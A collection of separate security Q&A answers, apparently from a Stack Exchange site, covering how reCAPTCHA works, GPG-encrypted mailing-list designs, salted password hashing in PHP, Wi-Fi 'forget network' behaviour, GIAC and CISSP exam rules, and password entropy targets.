This isn't really a great question for stackexchange as Google is keeping its algorithms secret so all we can really do is make guesses about how it works, but my understanding is that the new system will analyze your activity across all of Google's services (and possibly other sites that Google has some control over, such as websites that have Google ads).

Thus, it is likely that the checks are not limited to  just the page that has the checkbox on it. For example, if they detect that your computer/IP address you are using was also used in the past to do things that a normal human would do - things like checking Gmail, searching on Google search, uploading files to Drive, sharing photos, browsing the web etc. - then it can probably be reasonably sure that you are a human and allow you to skip the image verification. On the other hand, if it can't associate your computer with any previous human-like activity, then it would be more suspicious and give you the image verification. Though the mouse behavior as it clicks the checkbox may be one factor it analyzes, there is almost certainly a lot more to it.

Again, we don't know for sure how it works. This is just my best guess based on what little Google has said:

  While the new reCAPTCHA API may sound simple, there is a high degree
  of sophistication behind that modest checkbox. CAPTCHAs have long
  relied on the inability of robots to solve distorted text. However,
  our research recently showed that today’s Artificial Intelligence
  technology can solve even the most difficult variant of distorted text
  at 99.8% accuracy. Thus distorted text, on its own, is no longer a
  dependable test.

  To counter this, last year we developed an Advanced Risk Analysis
  backend for reCAPTCHA that actively considers a user’s entire
  engagement with the CAPTCHA—before, during, and after—to determine
  whether that user is a human. This enables us to rely less on typing
  distorted text and, in turn, offer a better experience for users.  We
  talked about this in our Valentine’s Day post earlier this year.

To me the point about "before, during, and after use" is a strong hint that they analyze previous browsing behavior, but my interpretation could be wrong.

Here's a quote from WIRED:

  Instead of depending upon the traditional distorted word test,
  Google’s “reCaptcha” examines cues every user unwittingly provides: IP
  addresses and cookies provide evidence that the user is the same
  friendly human Google remembers from elsewhere on the Web. And Shet
  says even the tiny movements a user’s mouse makes as it hovers and
  approaches a checkbox can help reveal an automated bot.

There is another thread on stackoverflow discussing this as well: https://stackoverflow.com/questions/27286232/how-does-new-google-recaptcha-work

As for image verification, you're not going to be able to find those images with reverse image search, or compile a database of them. They are usually random street signs or house numbers captured by Google's Street View cars, or words from books that were scanned for the Google Books project. There is a good purpose behind this - Google actually makes use of what people type into reCaptcha to improve their own databases and train OCR algorithms. reCaptcha gives the same image to a number of users, and if they all agree on what it says, then the picture becomes training data for Google's AI.

From wikipedia:

  The reCAPTCHA service supplies subscribing websites with images of
  words that optical character recognition (OCR) software has been
  unable to read. The subscribing websites (whose purposes are generally
  unrelated to the book digitization project) present these images for
  humans to decipher as CAPTCHA words, as part of their normal
  validation procedures. They then return the results to the reCAPTCHA
  service, which sends the results to the digitization projects.

  reCAPTCHA has worked on digitizing the archives of The New York Times
  and books from Google Books.[3] As of 2012, thirty years of The New
  York Times had been digitized and the project planned to have
  completed the remaining years by the end of 2013. The now completed
  archive of The New York Times can be searched from the New York Times
  Article Archive, where more than 13 million articles in total have
  been archived, dating from 1851 to the present day.


If you want to be really secure, you can just go with WPA-EAP-TLS RFC5216. You do need a RADIUS server for this, but it's one of the most secure solutions out there. It basically allows you to operate without a password, once you have the certificate setup on your device.


GPG-encrypted mailing list and other approaches to safe communication

When a secret is known by more than two or three people, it is no longer a secret, merely discreet. Any recipient of the mailing-list, by definition, can read all messages, hence he is trusted (in the sense of: he has the power to betray you). This limits your options.

With GnuPG, in your case, you can do any of the following:

Have each recipient own a key pair, as is normal with GnuPG. Each message is encrypted with all users as recipients (the OpenPGP format supports that; size overhead will be a few hundred bytes per recipient, hence tolerable as long as there are less than a few hundred recipients). The mailing-list maintainer regularly sends the list of recipients over the mailing-list itself, so that every user can know the public keys of all recipients.

This method is what maps best on what GnuPG inherently knows how to do. However, it has some drawbacks: size overhead (depending on the number of recipients), complex task for senders (not all GnuPG interfaces make it easy to send an email to dozens of recipients), publication of the list of recipients (every member of the list learns who else is a member).
Do a relay. There again, each recipient owns a key pair. However, messages are sent with a single recipient (e.g. the mailing-list maintainer) who then forwards the message to all recipients. This makes it much easier for the end users, since they just send the messages to the mailing-list maintainer; and each relayed message can be encrypted for a single recipient at a time. This solves the issues of the previous method.

However, it adds a few additional issues: extra latency (each message must wait for the maintainer to process it), increased vulnerability to censorship (the maintainer can block any message), more complex signatures (if the sender signs his message, the maintainer must wrap the signed message within the encryption for everybody else; this is allowed by the file format but some implementation might have some trouble processing that). Also, the maintainer himself has a lot of work or must use some automated tools which may or may not be available to him.
Use a common password. Instead of using asymmetric key pairs, use symmetric encryption with a password that all recipients know. This is decentralized: to add a subscriber, it suffices to give him the password, and every subscriber can do that. The mailing-list itself can be replaced by any medium, even decentralized systems which will support a no-single-point-of-failure mode (for instance, Usenet). This scheme most closely resembles what was used by resistance networks during WWII (see Radio Londres for instance).

The main problem with a common password is what I said at the beginning of this answer: a common password cannot be that secret.

Mixed strategies are possible. For instance, split your subscribers into cells, where the members of each cell know each other (and may share a common password or at least know each other's public keys), and know the public key of two or three people in "adjacent" cells. Messages are then relayed from cell to cell, with nobody knowing the full extent of the network. Such networks have historically proved robust with regards to infiltration and total collapse. See also this novel for an illustration. This might be a bit extreme in your case -- it really depends on your security model. Maybe your situation is not of the life threatening persuasion.


What the blog poster probably means is that you should hash the provided password when the user tries to log in, and you will have to do that hash for every login attempt, since the server stores only the hash.

It is possible, but not probable, that the author really meant to change the salt and recompute a new hash upon each login, which would be kinda stupid, explaining why I deem that "improbable". But hey, this is the Internet, anything can happen.

The blog post is partially right. Yes, you need a slow and salted hash. But no, a homemade loop of hashing cannot be condoned. Cryptographic algorithms must not be improvised; homemade is bad. What must be used is a well-vetted construction which has been inspected by many cryptographers over a long time. See this answer for details on the usual solutions. In PHP, this means using the crypt() function with the CRYPT_BLOWFISH parameter.

(Apart from the necessity of using standard constructions, it is also important to use a fast implementation, since the whole concept of slow hashing is a muscle contest between the attacker's machine and the defender's machine. Using PHP standard functions allows for accessing native code implementations, which will be much more efficient than anything written in PHP.)


Wifi - If I remove the wifi password on my device, will it still appear on the router?

No. There is no such protocol to "remove the device" and its IP address from the router. "Forget network" only takes action on the local device by removing whatever data is stored about the network.

You could potentially request for the DHCP record to be released while connected to the network using command-line utilities; it might remove the IP address assignment on the router, but that depends and it is likely that it would still leave traces.


Are GIAC exams open book (Unlike CISSP)?

According to the GIAC website:

  GIAC exams are open-book/open-notes, therefore you are allowed to bring any non-electronic resources you may need during your test (this includes a notepad for writing). You are allowed to bring as many of the chosen materials as you are able to fit in a standard-size bookbag (roughly).

http://www.giac.org/exams/preparation/allowed-materials

For the CISSP, page 11 of the registration form states that:

  Reference materials, except as indicated below, are not allowed in the testing room.

The only exception is this:

  ...word-to-word language translation dictionaries are permitted
  for the English examination, should you choose to bring one to assist you with language circumstances.

https://www.isc2.org/uploadedFiles/Downloads/exam_reg_form.pdf

It may be worth adding that most certification exams do not generally permit examinees to bring their own resources to the test.  I personally have sat for CompTIA, Microsoft, and Cisco examinations and am looking at taking an ISC^2 test in the near-ish future - none of these allow the test-taker to take anything more into the testing area than whatever the proctors issue.  Typically, the only things issued are a marker and whiteboard, and perhaps a simple calculator.  Sometimes, a pencil/pen and paper are issued instead, but the paper is shredded after the exam.

Though this is wandering into the realm of subjectivity, I personally would wonder if a certification that allows open-book testing is truly regarded (by the industry at large, hiring managers, etc.) as having "equal status" to those that require candidates to rely only on their personal knowledge.

According to some colleagues of mine, and others here in comments, it seems that the GIAC exams do hold a good bit of weight on their own.  The Silver exams alone are difficult enough that having open-book resources on hand is a practical necessity to pass.  However, at the same time, the examination period is short enough that one cannot solely rely on the books for all the answers and still finish in time.  Additionally, the Gold-level exams require you to write an original paper, better demonstrating a deep understanding of the material.


What would typically be considered an acceptable string entropy for passwords?

As I understand it, the amount of entropy in a password represents the number of guesses required to know what that password is. Each bit is a single yes-or-no decision, and ideally, the attacker would either get a "correct password" or "incorrect password" result (so, they have to guess the whole thing, all at once). For n bits of entropy, that requires 2^n guesses.

The desired strength depends on what sort of threat you expect to face. In particular, it depends on how fast the attacker can make guesses, and how long you expect the attacker to keep trying.

Once you have those numbers, your target minimum entropy (in bits) should be:

n = log_2(totalGuesses) = log_2(guesses/sec * durationInSeconds)

The persistence of the attacker is something which I don't know how to estimate. For the sake of argument, let's assume that you want your password to be secure for 1 week after the attacker starts guessing.

Number of guesses per second depends on how the password is protected, and what sort of access the attacker has. For an online attack (i.e., trying the login form of a website), you could rate-limit it to a fairly low value; 10 per second would be achievable. For unsalted MD5, it's safer to assume billions of guesses per second. For a strong hashing algorithm like bcrypt, it will be somewhere in-between (MUCH slower than MD5, in any case).

So, at 1 billion hashes per second (offline MD5 cracking), you would need to defend against about 6*10^14 guesses total, requiring about 49 bits of entropy. At 10 guesses per second (online, rate-limited attack), you need to defend against about 6*10^6 guesses, so you need about 22. bits of entropy.

Of course, per-character estimates of Shannon entropy will not accurately estimate the difficulty of cracking a password, and the percentage error will vary wildly depending on various factors. The approach you're taking will only give reasonably accurate results for computer-generated passwords, NOT for human-generated passwords.